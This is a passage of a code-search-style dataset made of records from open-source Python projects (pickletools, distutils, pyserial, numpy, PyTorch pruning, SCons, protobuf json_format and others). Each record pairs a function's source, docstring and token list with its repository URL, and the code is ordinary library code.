"arg", "elif", "not", "stack", ":", "errormsg", "=", "\"stack is empty -- can't store into memo\"", "elif", "stack", "[", "-", "1", "]", "is", "markobject", ":", "errormsg", "=", "\"can't store markobject in the memo\"", "else", ":", "memo", "[", "arg", "]", "=", "stack", "[", "-", "1", "]", "elif", "opcode", ".", "name", "in", "(", "\"GET\"", ",", "\"BINGET\"", ",", "\"LONG_BINGET\"", ")", ":", "if", "arg", "in", "memo", ":", "assert", "len", "(", "after", ")", "==", "1", "after", "=", "[", "memo", "[", "arg", "]", "]", "# for better stack emulation", "else", ":", "errormsg", "=", "\"memo key %r has never been stored into\"", "%", "arg", "if", "arg", "is", "not", "None", "or", "markmsg", ":", "# make a mild effort to align arguments", "line", "+=", "' '", "*", "(", "10", "-", "len", "(", "opcode", ".", "name", ")", ")", "if", "arg", "is", "not", "None", ":", "line", "+=", "' '", "+", "repr", "(", "arg", ")", "if", "markmsg", ":", "line", "+=", "' '", "+", "markmsg", "print", ">>", "out", ",", "line", "if", "errormsg", ":", "# Note that we delayed complaining until the offending opcode", "# was printed.", "raise", "ValueError", "(", "errormsg", ")", "# Emulate the stack effects.", "if", "len", "(", "stack", ")", "<", "numtopop", ":", "raise", "ValueError", "(", "\"tries to pop %d items from stack with \"", "\"only %d items\"", "%", "(", "numtopop", ",", "len", "(", "stack", ")", ")", ")", "if", "numtopop", ":", "del", "stack", "[", "-", "numtopop", ":", "]", "if", "markobject", "in", "after", ":", "assert", "markobject", "not", "in", "before", "markstack", ".", "append", "(", "pos", ")", "stack", ".", "extend", "(", "after", ")", "print", ">>", "out", ",", "\"highest protocol among opcodes =\"", ",", "maxproto", "if", "stack", ":", "raise", "ValueError", "(", "\"stack not empty after STOP: %r\"", "%", "stack", ")" ]
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/armeabi-v7a/toolchain/lib/python2.7/pickletools.py#L1891-L2025
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/Blast/houdini/python2.7libs/blastExport/slice.py
python
Slice.physicsDataGenericComponentWrapperId
(self, value)
:return: str
:return: str
[ ":", "return", ":", "str" ]
def physicsDataGenericComponentWrapperId(self, value): """ :return: str """ if self.__physicsDataGenericComponentWrapperId == value: return self.__physicsDataGenericComponentWrapperId = value
[ "def", "physicsDataGenericComponentWrapperId", "(", "self", ",", "value", ")", ":", "if", "self", ".", "__physicsDataGenericComponentWrapperId", "==", "value", ":", "return", "self", ".", "__physicsDataGenericComponentWrapperId", "=", "value" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/Blast/houdini/python2.7libs/blastExport/slice.py#L225-L232
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/distutils/cmd.py
python
Command.run
(self)
A command's raison d'etre: carry out the action it exists to perform, controlled by the options initialized in 'initialize_options()', customized by other commands, the setup script, the command-line, and config files, and finalized in 'finalize_options()'. All terminal output and filesystem interaction should be done by 'run()'. This method must be implemented by all command classes.
A command's raison d'etre: carry out the action it exists to perform, controlled by the options initialized in 'initialize_options()', customized by other commands, the setup script, the command-line, and config files, and finalized in 'finalize_options()'. All terminal output and filesystem interaction should be done by 'run()'.
[ "A", "command", "s", "raison", "d", "etre", ":", "carry", "out", "the", "action", "it", "exists", "to", "perform", "controlled", "by", "the", "options", "initialized", "in", "initialize_options", "()", "customized", "by", "other", "commands", "the", "setup", "script", "the", "command", "-", "line", "and", "config", "files", "and", "finalized", "in", "finalize_options", "()", ".", "All", "terminal", "output", "and", "filesystem", "interaction", "should", "be", "done", "by", "run", "()", "." ]
def run(self): """A command's raison d'etre: carry out the action it exists to perform, controlled by the options initialized in 'initialize_options()', customized by other commands, the setup script, the command-line, and config files, and finalized in 'finalize_options()'. All terminal output and filesystem interaction should be done by 'run()'. This method must be implemented by all command classes. """ raise RuntimeError, \ "abstract method -- subclass %s must override" % self.__class__
[ "def", "run", "(", "self", ")", ":", "raise", "RuntimeError", ",", "\"abstract method -- subclass %s must override\"", "%", "self", ".", "__class__" ]
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/distutils/cmd.py#L167-L178
CaoWGG/TensorRT-CenterNet
f949252e37b51e60f873808f46d3683f15735e79
onnx-tensorrt/third_party/onnx/third_party/pybind11/tools/clang/cindex.py
python
Cursor.get_children
(self)
return iter(children)
Return an iterator for accessing the children of this cursor.
Return an iterator for accessing the children of this cursor.
[ "Return", "an", "iterator", "for", "accessing", "the", "children", "of", "this", "cursor", "." ]
def get_children(self): """Return an iterator for accessing the children of this cursor.""" # FIXME: Expose iteration from CIndex, PR6125. def visitor(child, parent, children): # FIXME: Document this assertion in API. # FIXME: There should just be an isNull method. assert child != conf.lib.clang_getNullCursor() # Create reference to TU so it isn't GC'd before Cursor. child._tu = self._tu children.append(child) return 1 # continue children = [] conf.lib.clang_visitChildren(self, callbacks['cursor_visit'](visitor), children) return iter(children)
[ "def", "get_children", "(", "self", ")", ":", "# FIXME: Expose iteration from CIndex, PR6125.", "def", "visitor", "(", "child", ",", "parent", ",", "children", ")", ":", "# FIXME: Document this assertion in API.", "# FIXME: There should just be an isNull method.", "assert", "child", "!=", "conf", ".", "lib", ".", "clang_getNullCursor", "(", ")", "# Create reference to TU so it isn't GC'd before Cursor.", "child", ".", "_tu", "=", "self", ".", "_tu", "children", ".", "append", "(", "child", ")", "return", "1", "# continue", "children", "=", "[", "]", "conf", ".", "lib", ".", "clang_visitChildren", "(", "self", ",", "callbacks", "[", "'cursor_visit'", "]", "(", "visitor", ")", ",", "children", ")", "return", "iter", "(", "children", ")" ]
https://github.com/CaoWGG/TensorRT-CenterNet/blob/f949252e37b51e60f873808f46d3683f15735e79/onnx-tensorrt/third_party/onnx/third_party/pybind11/tools/clang/cindex.py#L1643-L1659
hanpfei/chromium-net
392cc1fa3a8f92f42e4071ab6e674d8e0482f83f
third_party/catapult/telemetry/third_party/pyserial/serial/serialutil.py
python
FileLike.readlines
(self, sizehint=None, eol=LF)
return lines
read a list of lines, until timeout. sizehint is ignored.
read a list of lines, until timeout. sizehint is ignored.
[ "read", "a", "list", "of", "lines", "until", "timeout", ".", "sizehint", "is", "ignored", "." ]
def readlines(self, sizehint=None, eol=LF): """read a list of lines, until timeout. sizehint is ignored.""" if self.timeout is None: raise ValueError("Serial port MUST have enabled timeout for this function!") leneol = len(eol) lines = [] while True: line = self.readline(eol=eol) if line: lines.append(line) if line[-leneol:] != eol: # was the line received with a timeout? break else: break return lines
[ "def", "readlines", "(", "self", ",", "sizehint", "=", "None", ",", "eol", "=", "LF", ")", ":", "if", "self", ".", "timeout", "is", "None", ":", "raise", "ValueError", "(", "\"Serial port MUST have enabled timeout for this function!\"", ")", "leneol", "=", "len", "(", "eol", ")", "lines", "=", "[", "]", "while", "True", ":", "line", "=", "self", ".", "readline", "(", "eol", "=", "eol", ")", "if", "line", ":", "lines", ".", "append", "(", "line", ")", "if", "line", "[", "-", "leneol", ":", "]", "!=", "eol", ":", "# was the line received with a timeout?", "break", "else", ":", "break", "return", "lines" ]
https://github.com/hanpfei/chromium-net/blob/392cc1fa3a8f92f42e4071ab6e674d8e0482f83f/third_party/catapult/telemetry/third_party/pyserial/serial/serialutil.py#L179-L194
mindspore-ai/mindspore
fb8fd3338605bb34fa5cea054e535a8b1d753fab
mindspore/python/mindspore/numpy/math_ops.py
python
_count_nonnan
(a, axis, keepdims=False)
return _reduce_sum_default(nonnan_mask, axis)
Counts the number of elements excluding NaNs.
Counts the number of elements excluding NaNs.
[ "Counts", "the", "number", "of", "elements", "excluding", "NaNs", "." ]
def _count_nonnan(a, axis, keepdims=False): """Counts the number of elements excluding NaNs.""" nonnan_mask = F.select(_isnan(a), zeros(F.shape(a), F.dtype(a)), ones(F.shape(a), F.dtype(a))) if keepdims: return _reduce_sum_keepdims(nonnan_mask, axis) return _reduce_sum_default(nonnan_mask, axis)
[ "def", "_count_nonnan", "(", "a", ",", "axis", ",", "keepdims", "=", "False", ")", ":", "nonnan_mask", "=", "F", ".", "select", "(", "_isnan", "(", "a", ")", ",", "zeros", "(", "F", ".", "shape", "(", "a", ")", ",", "F", ".", "dtype", "(", "a", ")", ")", ",", "ones", "(", "F", ".", "shape", "(", "a", ")", ",", "F", ".", "dtype", "(", "a", ")", ")", ")", "if", "keepdims", ":", "return", "_reduce_sum_keepdims", "(", "nonnan_mask", ",", "axis", ")", "return", "_reduce_sum_default", "(", "nonnan_mask", ",", "axis", ")" ]
https://github.com/mindspore-ai/mindspore/blob/fb8fd3338605bb34fa5cea054e535a8b1d753fab/mindspore/python/mindspore/numpy/math_ops.py#L2631-L2636
lemenkov/libyuv
5b3351bd07e83f9f9a4cb6629561331ecdb7c546
tools_libyuv/get_landmines.py
python
print_landmines
()
ALL LANDMINES ARE EMITTED FROM HERE.
ALL LANDMINES ARE EMITTED FROM HERE.
[ "ALL", "LANDMINES", "ARE", "EMITTED", "FROM", "HERE", "." ]
def print_landmines(): """ ALL LANDMINES ARE EMITTED FROM HERE. """ # DO NOT add landmines as part of a regular CL. Landmines are a last-effort # bandaid fix if a CL that got landed has a build dependency bug and all bots # need to be cleaned up. If you're writing a new CL that causes build # dependency problems, fix the dependency problems instead of adding a # landmine. # See the Chromium version in src/build/get_landmines.py for usage examples. print 'Clobber to remove GYP artifacts after switching bots to GN.' print 'Another try to remove GYP artifacts after switching bots to GN.'
[ "def", "print_landmines", "(", ")", ":", "# DO NOT add landmines as part of a regular CL. Landmines are a last-effort", "# bandaid fix if a CL that got landed has a build dependency bug and all bots", "# need to be cleaned up. If you're writing a new CL that causes build", "# dependency problems, fix the dependency problems instead of adding a", "# landmine.", "# See the Chromium version in src/build/get_landmines.py for usage examples.", "print", "'Clobber to remove GYP artifacts after switching bots to GN.'", "print", "'Another try to remove GYP artifacts after switching bots to GN.'" ]
https://github.com/lemenkov/libyuv/blob/5b3351bd07e83f9f9a4cb6629561331ecdb7c546/tools_libyuv/get_landmines.py#L18-L29
FreeCAD/FreeCAD
ba42231b9c6889b89e064d6d563448ed81e376ec
src/Mod/Draft/draftguitools/gui_dimensions.py
python
Dimension.createObject
(self)
Create the actual object in the current document.
Create the actual object in the current document.
[ "Create", "the", "actual", "object", "in", "the", "current", "document", "." ]
def createObject(self): """Create the actual object in the current document.""" Gui.addModule("Draft") if self.angledata: # Angle dimension, with two angles provided self.create_angle_dimension() elif self.link and not self.arcmode: # Linear dimension, linked to a straight edge if self.force == 1: self.create_linear_dimension_obj("Y") elif self.force == 2: self.create_linear_dimension_obj("X") else: self.create_linear_dimension_obj() elif self.arcmode: # Radius or dimeter dimension, linked to a circular edge self.create_radial_dimension_obj() else: # Linear dimension, not linked to any edge self.create_linear_dimension() if self.ui.continueMode: self.cont = self.node[2] if not self.dir: if self.link: v1 = self.link[0].Shape.Vertexes[self.link[1]].Point v2 = self.link[0].Shape.Vertexes[self.link[2]].Point self.dir = v2.sub(v1) else: self.dir = self.node[1].sub(self.node[0]) self.node = [self.node[1]] self.link = None
[ "def", "createObject", "(", "self", ")", ":", "Gui", ".", "addModule", "(", "\"Draft\"", ")", "if", "self", ".", "angledata", ":", "# Angle dimension, with two angles provided", "self", ".", "create_angle_dimension", "(", ")", "elif", "self", ".", "link", "and", "not", "self", ".", "arcmode", ":", "# Linear dimension, linked to a straight edge", "if", "self", ".", "force", "==", "1", ":", "self", ".", "create_linear_dimension_obj", "(", "\"Y\"", ")", "elif", "self", ".", "force", "==", "2", ":", "self", ".", "create_linear_dimension_obj", "(", "\"X\"", ")", "else", ":", "self", ".", "create_linear_dimension_obj", "(", ")", "elif", "self", ".", "arcmode", ":", "# Radius or dimeter dimension, linked to a circular edge", "self", ".", "create_radial_dimension_obj", "(", ")", "else", ":", "# Linear dimension, not linked to any edge", "self", ".", "create_linear_dimension", "(", ")", "if", "self", ".", "ui", ".", "continueMode", ":", "self", ".", "cont", "=", "self", ".", "node", "[", "2", "]", "if", "not", "self", ".", "dir", ":", "if", "self", ".", "link", ":", "v1", "=", "self", ".", "link", "[", "0", "]", ".", "Shape", ".", "Vertexes", "[", "self", ".", "link", "[", "1", "]", "]", ".", "Point", "v2", "=", "self", ".", "link", "[", "0", "]", ".", "Shape", ".", "Vertexes", "[", "self", ".", "link", "[", "2", "]", "]", ".", "Point", "self", ".", "dir", "=", "v2", ".", "sub", "(", "v1", ")", "else", ":", "self", ".", "dir", "=", "self", ".", "node", "[", "1", "]", ".", "sub", "(", "self", ".", "node", "[", "0", "]", ")", "self", ".", "node", "=", "[", "self", ".", "node", "[", "1", "]", "]", "self", ".", "link", "=", "None" ]
https://github.com/FreeCAD/FreeCAD/blob/ba42231b9c6889b89e064d6d563448ed81e376ec/src/Mod/Draft/draftguitools/gui_dimensions.py#L312-L346
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/ma/core.py
python
reshape
(a, new_shape, order='C')
Returns an array containing the same data with a new shape. Refer to `MaskedArray.reshape` for full documentation. See Also -------- MaskedArray.reshape : equivalent function
Returns an array containing the same data with a new shape.
[ "Returns", "an", "array", "containing", "the", "same", "data", "with", "a", "new", "shape", "." ]
def reshape(a, new_shape, order='C'): """ Returns an array containing the same data with a new shape. Refer to `MaskedArray.reshape` for full documentation. See Also -------- MaskedArray.reshape : equivalent function """ # We can't use 'frommethod', it whine about some parameters. Dmmit. try: return a.reshape(new_shape, order=order) except AttributeError: _tmp = narray(a, copy=False).reshape(new_shape, order=order) return _tmp.view(MaskedArray)
[ "def", "reshape", "(", "a", ",", "new_shape", ",", "order", "=", "'C'", ")", ":", "# We can't use 'frommethod', it whine about some parameters. Dmmit.", "try", ":", "return", "a", ".", "reshape", "(", "new_shape", ",", "order", "=", "order", ")", "except", "AttributeError", ":", "_tmp", "=", "narray", "(", "a", ",", "copy", "=", "False", ")", ".", "reshape", "(", "new_shape", ",", "order", "=", "order", ")", "return", "_tmp", ".", "view", "(", "MaskedArray", ")" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/ma/core.py#L7043-L7059
pytorch/pytorch
7176c92687d3cc847cc046bf002269c6949a21c2
torch/nn/utils/prune.py
python
BasePruningMethod.prune
(self, t, default_mask=None, importance_scores=None)
return t * self.compute_mask(importance_scores, default_mask=default_mask)
r"""Computes and returns a pruned version of input tensor ``t`` according to the pruning rule specified in :meth:`compute_mask`. Args: t (torch.Tensor): tensor to prune (of same dimensions as ``default_mask``). importance_scores (torch.Tensor): tensor of importance scores (of same shape as ``t``) used to compute mask for pruning ``t``. The values in this tensor indicate the importance of the corresponding elements in the ``t`` that is being pruned. If unspecified or None, the tensor ``t`` will be used in its place. default_mask (torch.Tensor, optional): mask from previous pruning iteration, if any. To be considered when determining what portion of the tensor that pruning should act on. If None, default to a mask of ones. Returns: pruned version of tensor ``t``.
r"""Computes and returns a pruned version of input tensor ``t`` according to the pruning rule specified in :meth:`compute_mask`.
[ "r", "Computes", "and", "returns", "a", "pruned", "version", "of", "input", "tensor", "t", "according", "to", "the", "pruning", "rule", "specified", "in", ":", "meth", ":", "compute_mask", "." ]
def prune(self, t, default_mask=None, importance_scores=None): r"""Computes and returns a pruned version of input tensor ``t`` according to the pruning rule specified in :meth:`compute_mask`. Args: t (torch.Tensor): tensor to prune (of same dimensions as ``default_mask``). importance_scores (torch.Tensor): tensor of importance scores (of same shape as ``t``) used to compute mask for pruning ``t``. The values in this tensor indicate the importance of the corresponding elements in the ``t`` that is being pruned. If unspecified or None, the tensor ``t`` will be used in its place. default_mask (torch.Tensor, optional): mask from previous pruning iteration, if any. To be considered when determining what portion of the tensor that pruning should act on. If None, default to a mask of ones. Returns: pruned version of tensor ``t``. """ if importance_scores is not None: assert ( importance_scores.shape == t.shape ), "importance_scores should have the same shape as tensor t" else: importance_scores = t default_mask = default_mask if default_mask is not None else torch.ones_like(t) return t * self.compute_mask(importance_scores, default_mask=default_mask)
[ "def", "prune", "(", "self", ",", "t", ",", "default_mask", "=", "None", ",", "importance_scores", "=", "None", ")", ":", "if", "importance_scores", "is", "not", "None", ":", "assert", "(", "importance_scores", ".", "shape", "==", "t", ".", "shape", ")", ",", "\"importance_scores should have the same shape as tensor t\"", "else", ":", "importance_scores", "=", "t", "default_mask", "=", "default_mask", "if", "default_mask", "is", "not", "None", "else", "torch", ".", "ones_like", "(", "t", ")", "return", "t", "*", "self", ".", "compute_mask", "(", "importance_scores", ",", "default_mask", "=", "default_mask", ")" ]
https://github.com/pytorch/pytorch/blob/7176c92687d3cc847cc046bf002269c6949a21c2/torch/nn/utils/prune.py#L209-L236
hpi-xnor/BMXNet-v2
af2b1859eafc5c721b1397cef02f946aaf2ce20d
python/mxnet/gluon/block.py
python
Block.forward
(self, *args)
Overrides to implement forward computation using :py:class:`NDArray`. Only accepts positional arguments. Parameters ---------- *args : list of NDArray Input tensors.
Overrides to implement forward computation using :py:class:`NDArray`. Only accepts positional arguments.
[ "Overrides", "to", "implement", "forward", "computation", "using", ":", "py", ":", "class", ":", "NDArray", ".", "Only", "accepts", "positional", "arguments", "." ]
def forward(self, *args): """Overrides to implement forward computation using :py:class:`NDArray`. Only accepts positional arguments. Parameters ---------- *args : list of NDArray Input tensors. """ # pylint: disable= invalid-name raise NotImplementedError
[ "def", "forward", "(", "self", ",", "*", "args", ")", ":", "# pylint: disable= invalid-name", "raise", "NotImplementedError" ]
https://github.com/hpi-xnor/BMXNet-v2/blob/af2b1859eafc5c721b1397cef02f946aaf2ce20d/python/mxnet/gluon/block.py#L556-L566
nyuwireless-unipd/ns3-mmwave
4ff9e87e8079764e04cbeccd8e85bff15ae16fb3
bindings/python/rad_util.py
python
quantile
(l, p)
return result
Return p quantile of list l. E.g. p=0.25 for q1. See: http://rweb.stat.umn.edu/R/library/base/html/quantile.html
Return p quantile of list l. E.g. p=0.25 for q1.
[ "Return", "p", "quantile", "of", "list", "l", ".", "E", ".", "g", ".", "p", "=", "0", ".", "25", "for", "q1", "." ]
def quantile(l, p): """Return p quantile of list l. E.g. p=0.25 for q1. See: http://rweb.stat.umn.edu/R/library/base/html/quantile.html """ l_sort = l[:] l_sort.sort() n = len(l) r = 1 + ((n - 1) * p) i = int(r) f = r - i if i < n: result = (1-f)*l_sort[i-1] + f*l_sort[i] else: result = l_sort[i-1] return result
[ "def", "quantile", "(", "l", ",", "p", ")", ":", "l_sort", "=", "l", "[", ":", "]", "l_sort", ".", "sort", "(", ")", "n", "=", "len", "(", "l", ")", "r", "=", "1", "+", "(", "(", "n", "-", "1", ")", "*", "p", ")", "i", "=", "int", "(", "r", ")", "f", "=", "r", "-", "i", "if", "i", "<", "n", ":", "result", "=", "(", "1", "-", "f", ")", "*", "l_sort", "[", "i", "-", "1", "]", "+", "f", "*", "l_sort", "[", "i", "]", "else", ":", "result", "=", "l_sort", "[", "i", "-", "1", "]", "return", "result" ]
https://github.com/nyuwireless-unipd/ns3-mmwave/blob/4ff9e87e8079764e04cbeccd8e85bff15ae16fb3/bindings/python/rad_util.py#L351-L368
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemDefectReporter/v1/AWS/common-code/Lib/setuptools/msvc.py
python
EnvironmentInfo.UCRTIncludes
(self)
return [os.path.join(include, '%sucrt' % self._ucrt_subdir)]
Microsoft Universal C Runtime SDK Include
Microsoft Universal C Runtime SDK Include
[ "Microsoft", "Universal", "C", "Runtime", "SDK", "Include" ]
def UCRTIncludes(self): """ Microsoft Universal C Runtime SDK Include """ if self.vc_ver < 14.0: return [] include = os.path.join(self.si.UniversalCRTSdkDir, 'include') return [os.path.join(include, '%sucrt' % self._ucrt_subdir)]
[ "def", "UCRTIncludes", "(", "self", ")", ":", "if", "self", ".", "vc_ver", "<", "14.0", ":", "return", "[", "]", "include", "=", "os", ".", "path", ".", "join", "(", "self", ".", "si", ".", "UniversalCRTSdkDir", ",", "'include'", ")", "return", "[", "os", ".", "path", ".", "join", "(", "include", ",", "'%sucrt'", "%", "self", ".", "_ucrt_subdir", ")", "]" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemDefectReporter/v1/AWS/common-code/Lib/setuptools/msvc.py#L1170-L1178
sphinxsearch/sphinx
409f2c2b5b2ff70b04e38f92b6b1a890326bad65
api/sphinxapi.py
python
SphinxClient.SetIDRange
(self, minid, maxid)
Set IDs range to match. Only match records if document ID is beetwen $min and $max (inclusive).
Set IDs range to match. Only match records if document ID is beetwen $min and $max (inclusive).
[ "Set", "IDs", "range", "to", "match", ".", "Only", "match", "records", "if", "document", "ID", "is", "beetwen", "$min", "and", "$max", "(", "inclusive", ")", "." ]
def SetIDRange (self, minid, maxid): """ Set IDs range to match. Only match records if document ID is beetwen $min and $max (inclusive). """ assert(isinstance(minid, (int, long))) assert(isinstance(maxid, (int, long))) assert(minid<=maxid) self._min_id = minid self._max_id = maxid
[ "def", "SetIDRange", "(", "self", ",", "minid", ",", "maxid", ")", ":", "assert", "(", "isinstance", "(", "minid", ",", "(", "int", ",", "long", ")", ")", ")", "assert", "(", "isinstance", "(", "maxid", ",", "(", "int", ",", "long", ")", ")", ")", "assert", "(", "minid", "<=", "maxid", ")", "self", ".", "_min_id", "=", "minid", "self", ".", "_max_id", "=", "maxid" ]
https://github.com/sphinxsearch/sphinx/blob/409f2c2b5b2ff70b04e38f92b6b1a890326bad65/api/sphinxapi.py#L415-L424
apple/turicreate
cce55aa5311300e3ce6af93cb45ba791fd1bdf49
src/python/turicreate/data_structures/sarray.py
python
SArray.dtype
(self)
return self.__proxy__.dtype()
The data type of the SArray. Returns ------- out : type The type of the SArray. Examples -------- >>> sa = tc.SArray(["The quick brown fox jumps over the lazy dog."]) >>> sa.dtype str >>> sa = tc.SArray(range(10)) >>> sa.dtype int
The data type of the SArray.
[ "The", "data", "type", "of", "the", "SArray", "." ]
def dtype(self): """ The data type of the SArray. Returns ------- out : type The type of the SArray. Examples -------- >>> sa = tc.SArray(["The quick brown fox jumps over the lazy dog."]) >>> sa.dtype str >>> sa = tc.SArray(range(10)) >>> sa.dtype int """ return self.__proxy__.dtype()
[ "def", "dtype", "(", "self", ")", ":", "return", "self", ".", "__proxy__", ".", "dtype", "(", ")" ]
https://github.com/apple/turicreate/blob/cce55aa5311300e3ce6af93cb45ba791fd1bdf49/src/python/turicreate/data_structures/sarray.py#L1451-L1469
hughperkins/tf-coriander
970d3df6c11400ad68405f22b0c42a52374e94ca
tensorflow/contrib/graph_editor/select.py
python
_get_output_ts
(ops)
return ts
Compute the list of unique output tensors of all the op in ops. Args: ops: an object convertible to a list of tf.Operation. Returns: The list of unique output tensors of all the op in ops. Raises: TypeError: if ops cannot be converted to a list of tf.Operation.
Compute the list of unique output tensors of all the op in ops.
[ "Compute", "the", "list", "of", "unique", "output", "tensors", "of", "all", "the", "op", "in", "ops", "." ]
def _get_output_ts(ops): """Compute the list of unique output tensors of all the op in ops. Args: ops: an object convertible to a list of tf.Operation. Returns: The list of unique output tensors of all the op in ops. Raises: TypeError: if ops cannot be converted to a list of tf.Operation. """ ops = util.make_list_of_op(ops) ts = [] for op in ops: ts += op.outputs return ts
[ "def", "_get_output_ts", "(", "ops", ")", ":", "ops", "=", "util", ".", "make_list_of_op", "(", "ops", ")", "ts", "=", "[", "]", "for", "op", "in", "ops", ":", "ts", "+=", "op", ".", "outputs", "return", "ts" ]
https://github.com/hughperkins/tf-coriander/blob/970d3df6c11400ad68405f22b0c42a52374e94ca/tensorflow/contrib/graph_editor/select.py#L97-L111
mongodb/mongo
d8ff665343ad29cf286ee2cf4a1960d29371937b
src/third_party/scons-3.1.2/scons-local-3.1.2/SCons/Action.py
python
_object_contents
(obj)
Return the signature contents of any Python object. We have to handle the case where object contains a code object since it can be pickled directly.
Return the signature contents of any Python object.
[ "Return", "the", "signature", "contents", "of", "any", "Python", "object", "." ]
def _object_contents(obj): """Return the signature contents of any Python object. We have to handle the case where object contains a code object since it can be pickled directly. """ try: # Test if obj is a method. return _function_contents(obj.__func__) except AttributeError: try: # Test if obj is a callable object. return _function_contents(obj.__call__.__func__) except AttributeError: try: # Test if obj is a code object. return _code_contents(obj) except AttributeError: try: # Test if obj is a function object. return _function_contents(obj) except AttributeError as ae: # Should be a pickle-able Python object. try: return _object_instance_content(obj) # pickling an Action instance or object doesn't yield a stable # content as instance property may be dumped in different orders # return pickle.dumps(obj, ACTION_SIGNATURE_PICKLE_PROTOCOL) except (pickle.PicklingError, TypeError, AttributeError) as ex: # This is weird, but it seems that nested classes # are unpickable. The Python docs say it should # always be a PicklingError, but some Python # versions seem to return TypeError. Just do # the best we can. return bytearray(repr(obj), 'utf-8')
[ "def", "_object_contents", "(", "obj", ")", ":", "try", ":", "# Test if obj is a method.", "return", "_function_contents", "(", "obj", ".", "__func__", ")", "except", "AttributeError", ":", "try", ":", "# Test if obj is a callable object.", "return", "_function_contents", "(", "obj", ".", "__call__", ".", "__func__", ")", "except", "AttributeError", ":", "try", ":", "# Test if obj is a code object.", "return", "_code_contents", "(", "obj", ")", "except", "AttributeError", ":", "try", ":", "# Test if obj is a function object.", "return", "_function_contents", "(", "obj", ")", "except", "AttributeError", "as", "ae", ":", "# Should be a pickle-able Python object.", "try", ":", "return", "_object_instance_content", "(", "obj", ")", "# pickling an Action instance or object doesn't yield a stable", "# content as instance property may be dumped in different orders", "# return pickle.dumps(obj, ACTION_SIGNATURE_PICKLE_PROTOCOL)", "except", "(", "pickle", ".", "PicklingError", ",", "TypeError", ",", "AttributeError", ")", "as", "ex", ":", "# This is weird, but it seems that nested classes", "# are unpickable. The Python docs say it should", "# always be a PicklingError, but some Python", "# versions seem to return TypeError. Just do", "# the best we can.", "return", "bytearray", "(", "repr", "(", "obj", ")", ",", "'utf-8'", ")" ]
https://github.com/mongodb/mongo/blob/d8ff665343ad29cf286ee2cf4a1960d29371937b/src/third_party/scons-3.1.2/scons-local-3.1.2/SCons/Action.py#L172-L210
Xilinx/Vitis-AI
fc74d404563d9951b57245443c73bef389f3657f
tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/ops/math_grad.py
python
_UnsortedSegmentMaxGrad
(op, grad)
return _UnsortedSegmentMinOrMaxGrad(op, grad)
Gradient for UnsortedSegmentMax.
Gradient for UnsortedSegmentMax.
[ "Gradient", "for", "UnsortedSegmentMax", "." ]
def _UnsortedSegmentMaxGrad(op, grad): """ Gradient for UnsortedSegmentMax. """ return _UnsortedSegmentMinOrMaxGrad(op, grad)
[ "def", "_UnsortedSegmentMaxGrad", "(", "op", ",", "grad", ")", ":", "return", "_UnsortedSegmentMinOrMaxGrad", "(", "op", ",", "grad", ")" ]
https://github.com/Xilinx/Vitis-AI/blob/fc74d404563d9951b57245443c73bef389f3657f/tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/ops/math_grad.py#L453-L455
apple/turicreate
cce55aa5311300e3ce6af93cb45ba791fd1bdf49
src/external/coremltools_wrap/coremltools/deps/protobuf/python/google/protobuf/json_format.py
python
_Parser._ConvertFieldValuePair
(self, js, message)
Convert field value pairs into regular message. Args: js: A JSON object to convert the field value pairs. message: A regular protocol message to record the data. Raises: ParseError: In case of problems converting.
Convert field value pairs into regular message.
[ "Convert", "field", "value", "pairs", "into", "regular", "message", "." ]
def _ConvertFieldValuePair(self, js, message): """Convert field value pairs into regular message. Args: js: A JSON object to convert the field value pairs. message: A regular protocol message to record the data. Raises: ParseError: In case of problems converting. """ names = [] message_descriptor = message.DESCRIPTOR fields_by_json_name = dict((f.json_name, f) for f in message_descriptor.fields) for name in js: try: field = fields_by_json_name.get(name, None) if not field: field = message_descriptor.fields_by_name.get(name, None) if not field: if self.ignore_unknown_fields: continue raise ParseError( 'Message type "{0}" has no field named "{1}".'.format( message_descriptor.full_name, name)) if name in names: raise ParseError('Message type "{0}" should not have multiple ' '"{1}" fields.'.format( message.DESCRIPTOR.full_name, name)) names.append(name) # Check no other oneof field is parsed. if field.containing_oneof is not None: oneof_name = field.containing_oneof.name if oneof_name in names: raise ParseError('Message type "{0}" should not have multiple ' '"{1}" oneof fields.'.format( message.DESCRIPTOR.full_name, oneof_name)) names.append(oneof_name) value = js[name] if value is None: if (field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE and field.message_type.full_name == 'google.protobuf.Value'): sub_message = getattr(message, field.name) sub_message.null_value = 0 else: message.ClearField(field.name) continue # Parse field value. if _IsMapEntry(field): message.ClearField(field.name) self._ConvertMapFieldValue(value, message, field) elif field.label == descriptor.FieldDescriptor.LABEL_REPEATED: message.ClearField(field.name) if not isinstance(value, list): raise ParseError('repeated field {0} must be in [] which is ' '{1}.'.format(name, value)) if field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE: # Repeated message field. for item in value: sub_message = getattr(message, field.name).add() # None is a null_value in Value. if (item is None and sub_message.DESCRIPTOR.full_name != 'google.protobuf.Value'): raise ParseError('null is not allowed to be used as an element' ' in a repeated field.') self.ConvertMessage(item, sub_message) else: # Repeated scalar field. for item in value: if item is None: raise ParseError('null is not allowed to be used as an element' ' in a repeated field.') getattr(message, field.name).append( _ConvertScalarFieldValue(item, field)) elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE: sub_message = getattr(message, field.name) sub_message.SetInParent() self.ConvertMessage(value, sub_message) else: 